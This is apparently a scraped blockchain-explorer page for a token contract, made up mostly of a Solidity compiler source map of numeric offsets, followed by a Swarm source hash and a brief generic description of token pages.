;;;;;;7336:6;1500:25:1;;1488:2;1473:18;;1354:177;7308:35:0;;;;;;;;-1:-1:-1;7353:4:0;7056:305;;;;;:::o;11755:197::-;11869:4;;11839;;-1:-1:-1;;;;;11856:17:0;;;11869:4;;11856:17;;;;:39;;-1:-1:-1;11891:4:0;;-1:-1:-1;;;;;11878:17:0;;;11891:4;;11878:17;;11856:39;:64;;;;-1:-1:-1;;;;;;11901:19:0;;;;;;:11;:19;;;;;;;;11900:20;11856:64;:92;;;;-1:-1:-1;;;;;;;11926:22:0;;;;;:11;:22;;;;;;;;11925:23;;11755:197;-1:-1:-1;11755:197:0:o;14317:95::-;14384:4;;-1:-1:-1;;;;;14384:4:0;;;14374:14;;;;14371:38;;14393:10;:12;;;:10;:12;;;:::i;:::-;;;;;;14317:95;:::o;11954:292::-;12033:4;12039;12050:13;12070:15;12088:16;12099:4;-1:-1:-1;;;;;14492:19:0;14475:4;14492:19;;;:11;:19;;;;;;;;14491:20;;14416:99;12088:16;12118:4;;12070:34;;-1:-1:-1;;;;;;12118:4:0;;;12112:10;;;;12109:102;;12138:1;12127:12;;12109:102;;;12161:4;;-1:-1:-1;;;;;12161:4:0;;;12153:12;;;;12149:62;;12181:1;12170:12;;12149:62;;;12206:1;12195:12;;12149:62;12221:10;12233:8;;-1:-1:-1;11954:292:0;-1:-1:-1;;;11954:292:0:o;11183:478::-;11449:4;11309;7030:18;;;:9;:18;;;;;;11347:6;;11385:7;;11460:16;11507;11479:25;:44;:85;;;;;11548:16;11527:18;:37;11479:85;11578:6;;11460:104;;-1:-1:-1;11578:6:0;;11577:7;:25;;;;;11589:13;11577:25;:48;;;;;11624:1;11608:13;:17;11577:48;:64;;;;;11630:11;11577:64;:80;;;;-1:-1:-1;11646:11:0;;-1:-1:-1;;;11646:11:0;;;;11577:80;11569:88;11183:478;-1:-1:-1;;;;;;;;;11183:478:0:o;8388:508::-;6391:6;:13;;-1:-1:-1;;6391:13:0;6400:4;6391:13;;;8497:4:::1;-1:-1:-1::0;7030:18:0;;;:9;:18;;;;;;8456:47:::1;;8506:20;8529:43;8533:6;8541:30;8545:12;8559:11;;8541:3;:30::i;:::-;8529:3;:43::i;:::-;8601:16;::::0;;8615:1:::1;8601:16:::0;;;;;::::1;::::0;;8506:66;;-1:-1:-1;8577:21:0::1;::::0;8601:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8601:16:0::1;8577:40;;8638:4;8620;8625:1;8620:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8620:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8656:6:::1;::::0;:13:::1;::::0;;-1:-1:-1;;;8656:13:0;;;;:6;;;::::1;::::0;:11:::1;::::0;:13:::1;::::0;;::::1;::::0;8620:7;;8656:13;;;;;:6;:13:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8646:4;8651:1;8646:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8646:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;:23;8674:6:::1;::::0;:120:::1;::::0;-1:-1:-1;;;8674:120:0;;:6;::::1;::::0;:57:::1;::::0;:120:::1;::::0;8734:12;;8674:6:::1;::::0;8753:4;;8768::::1;::::0;8776:15:::1;::::0;8674:120:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;8854:14:0::1;::::0;8846:46:::1;::::0;8822:21:::1;::::0;-1:-1:-1;;;;;;8854:14:0;;::::1;::::0;-1:-1:-1;8846:46:0;::::1;;;::::0;8822:21;;8799:20:::1;8846:46:::0;8799:20;8846:46;8822:21;8854:14;8846:46;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6411:6:0;:14;;-1:-1:-1;;6411:14:0;;;-1:-1:-1;;;;8388:508:0:o;9840:486::-;9972:4;9983:20;10007:23;10069:42;10087:6;10095:7;10104:6;10069:17;:42::i;:::-;10134:64;;;;;;;;;;;-1:-1:-1;;;10134:64:0;;;;;;;;-1:-1:-1;;;;;10134:17:0;;-1:-1:-1;10134:17:0;;;:9;:17;;;;;;;;10035:76;;-1:-1:-1;10035:76:0;;-1:-1:-1;10134:64:0;;:17;10035:76;;10134:21;:64::i;:::-;-1:-1:-1;;;;;10114:17:0;;;;;;;:9;:17;;;;;;:84;;;;10224:20;;;;;;;:41;;10249:15;10224:24;:41::i;:::-;-1:-1:-1;;;;;10201:20:0;;;;;;;:9;:20;;;;;;;:64;;;;10273:35;;;;;;;;;;10301:6;1500:25:1;;1488:2;1473:18;;1354:177;10273:35:0;;;;;;;;-1:-1:-1;10318:4:0;;9840:486;-1:-1:-1;;;;;;;9840:486:0:o;390:151::-;448:7;;472:5;476:1;472;:5;:::i;:::-;460:17;;493:1;488;:6;;480:46;;;;-1:-1:-1;;;480:46:0;;10885:2:1;480:46:0;;;10867:21:1;10924:2;10904:18;;;10897:30;10963:29;10943:18;;;10936:57;11010:18;;480:46:0;10683:351:1;10997:88:0;11054:7;11075:1;11073;:3;11072:9;;11080:1;11072:9;;;-1:-1:-1;11078:1:0;10997:88;-1:-1:-1;10997:88:0:o;7915:383::-;8003:7;8012;8024:15;8042:7;:106;;8063:17;;-1:-1:-1;;;8063:17:0;;;;:85;;8141:7;8042:106;;8063:85;8084:52;8111:6;8119:7;8128;8084:26;:52::i;:::-;8042:106;;;8053:7;8042:106;8171:17;;8024:124;;-1:-1:-1;8153:15:0;;-1:-1:-1;;;8171:17:0;;;;:28;;;;;8192:7;8171:28;:95;;8259:7;8171:95;;;8203:52;8230:6;8238:7;8247;8203:26;:52::i;:::-;8277:7;;;;-1:-1:-1;7915:383:0;;-1:-1:-1;;;;;7915:383:0:o;9020:779::-;9135:7;;9208:3;9216:318;;;;9260:1;9243:14;:18;9240:257;;;9296:16;;9285:10;;:27;:58;;9331:12;;9285:58;;;9315:13;;9285:58;9266:78;;9216:318;;9240:257;9360:18;;9357:137;;9413:15;;9402:10;;:26;:55;;9446:11;;9402:55;;;9431:12;;9383:75;;9216:318;;9357:137;9489:1;9471:19;;9216:318;;;9529:1;9511:19;;9216:318;9538:18;9559:57;9592:23;9559:28;:7;9571:15;9559:11;:28::i;:::-;:32;;:57::i;:::-;9664:4;9646:24;;;;:9;:24;;;;;;9538:78;;-1:-1:-1;9646:40:0;;9538:78;9646:28;:40::i;:::-;9637:4;9619:24;;;;:9;:24;;;;;:67;9702:14;:58;;9732:28;:7;9744:15;9732:11;:28::i;:::-;9702:58;;;9719:10;9702:58;9689:71;-1:-1:-1;9772:23:0;:7;9689:71;9772:11;:23::i;:::-;9765:30;9020:779;-1:-1:-1;;;;;;;9020:779:0:o;845:190::-;903:7;919:1;924;919:6;915:27;;-1:-1:-1;937:1:0;930:8;;915:27;944:9;956:5;960:1;956;:5;:::i;:::-;944:17;-1:-1:-1;981:1:0;972:5;976:1;944:17;972:5;:::i;:::-;:10;964:56;;;;-1:-1:-1;;;964:56:0;;11636:2:1;964:56:0;;;11618:21:1;11675:2;11655:18;;;11648:30;11714:34;11694:18;;;11687:62;-1:-1:-1;;;11765:18:1;;;11758:31;11806:19;;964:56:0;11434:397:1;1039:120:0;1097:7;1116:39;1120:1;1123;1116:39;;;;;;;;;;;;;;;;;:3;:39::i;545:124::-;603:7;622:43;626:1;629;622:43;;;;;;;;;;;;;;;;;:3;:43::i;1163:167::-;1255:7;1282:12;1275:5;1267:28;;;;-1:-1:-1;;;1267:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1298:9:0;1310:5;1314:1;1310;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;759:131::-;-1:-1:-1;;;;;834:31:1;;824:42;;814:70;;880:1;877;870:12;895:134;963:20;;992:31;963:20;992:31;:::i;:::-;895:134;;;:::o;1034:315::-;1102:6;1110;1163:2;1151:9;1142:7;1138:23;1134:32;1131:52;;;1179:1;1176;1169:12;1131:52;1218:9;1205:23;1237:31;1262:5;1237:31;:::i;:::-;1287:5;1339:2;1324:18;;;;1311:32;;-1:-1:-1;;;1034:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;2205:247::-;2264:6;2317:2;2305:9;2296:7;2292:23;2288:32;2285:52;;;2333:1;2330;2323:12;2285:52;2372:9;2359:23;2391:31;2416:5;2391:31;:::i;2457:127::-;2518:10;2513:3;2509:20;2506:1;2499:31;2549:4;2546:1;2539:15;2573:4;2570:1;2563:15;2589:1121;2673:6;2704:2;2747;2735:9;2726:7;2722:23;2718:32;2715:52;;;2763:1;2760;2753:12;2715:52;2803:9;2790:23;2832:18;2873:2;2865:6;2862:14;2859:34;;;2889:1;2886;2879:12;2859:34;2927:6;2916:9;2912:22;2902:32;;2972:7;2965:4;2961:2;2957:13;2953:27;2943:55;;2994:1;2991;2984:12;2943:55;3030:2;3017:16;3052:2;3048;3045:10;3042:36;;;3058:18;;:::i;:::-;3104:2;3101:1;3097:10;3136:2;3130:9;3199:2;3195:7;3190:2;3186;3182:11;3178:25;3170:6;3166:38;3254:6;3242:10;3239:22;3234:2;3222:10;3219:18;3216:46;3213:72;;;3265:18;;:::i;:::-;3301:2;3294:22;3351:18;;;3385:15;;;;-1:-1:-1;3427:11:1;;;3423:20;;;3455:19;;;3452:39;;;3487:1;3484;3477:12;3452:39;3511:11;;;;3531:148;3547:6;3542:3;3539:15;3531:148;;;3613:23;3632:3;3613:23;:::i;:::-;3601:36;;3564:12;;;;3657;;;;3531:148;;;3698:6;2589:1121;-1:-1:-1;;;;;;;;2589:1121:1:o;3904:388::-;3972:6;3980;4033:2;4021:9;4012:7;4008:23;4004:32;4001:52;;;4049:1;4046;4039:12;4001:52;4088:9;4075:23;4107:31;4132:5;4107:31;:::i;:::-;4157:5;-1:-1:-1;4214:2:1;4199:18;;4186:32;4227:33;4186:32;4227:33;:::i;:::-;4279:7;4269:17;;;3904:388;;;;;:::o;4531:329::-;4733:2;4715:21;;;4772:1;4752:18;;;4745:29;-1:-1:-1;;;4805:2:1;4790:18;;4783:36;4851:2;4836:18;;4531:329::o;4865:127::-;4926:10;4921:3;4917:20;4914:1;4907:31;4957:4;4954:1;4947:15;4981:4;4978:1;4971:15;4997:127;5058:10;5053:3;5049:20;5046:1;5039:31;5089:4;5086:1;5079:15;5113:4;5110:1;5103:15;5129:135;5168:3;5189:17;;;5186:43;;5209:18;;:::i;:::-;-1:-1:-1;5256:1:1;5245:13;;5129:135::o;5972:251::-;6042:6;6095:2;6083:9;6074:7;6070:23;6066:32;6063:52;;;6111:1;6108;6101:12;6063:52;6143:9;6137:16;6162:31;6187:5;6162:31;:::i;7149:306::-;7237:6;7245;7253;7306:2;7294:9;7285:7;7281:23;7277:32;7274:52;;;7322:1;7319;7312:12;7274:52;7351:9;7345:16;7335:26;;7401:2;7390:9;7386:18;7380:25;7370:35;;7445:2;7434:9;7430:18;7424:25;7414:35;;7149:306;;;;;:::o;7460:128::-;7527:9;;;7548:11;;;7545:37;;;7562:18;;:::i;9162:125::-;9227:9;;;9248:10;;;9245:36;;;9261:18;;:::i;9698:980::-;9960:4;10008:3;9997:9;9993:19;10039:6;10028:9;10021:25;10065:2;10103:6;10098:2;10087:9;10083:18;10076:34;10146:3;10141:2;10130:9;10126:18;10119:31;10170:6;10205;10199:13;10236:6;10228;10221:22;10274:3;10263:9;10259:19;10252:26;;10313:2;10305:6;10301:15;10287:29;;10334:1;10344:195;10358:6;10355:1;10352:13;10344:195;;;10423:13;;-1:-1:-1;;;;;10419:39:1;10407:52;;10514:15;;;;10479:12;;;;10455:1;10373:9;10344:195;;;-1:-1:-1;;;;;;;10595:32:1;;;;10590:2;10575:18;;10568:60;-1:-1:-1;;;10659:3:1;10644:19;10637:35;10556:3;9698:980;-1:-1:-1;;;9698:980:1:o;11039:168::-;11112:9;;;11143;;11160:15;;;11154:22;;11140:37;11130:71;;11181:18;;:::i;11212:217::-;11252:1;11278;11268:132;;11322:10;11317:3;11313:20;11310:1;11303:31;11357:4;11354:1;11347:15;11385:4;11382:1;11375:15;11268:132;-1:-1:-1;11414:9:1;;11212:217::o

Swarm Source

ipfs://91929469dfe8329a8f8f020f76612f95477152fbd098f31162bd523480987c8c
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.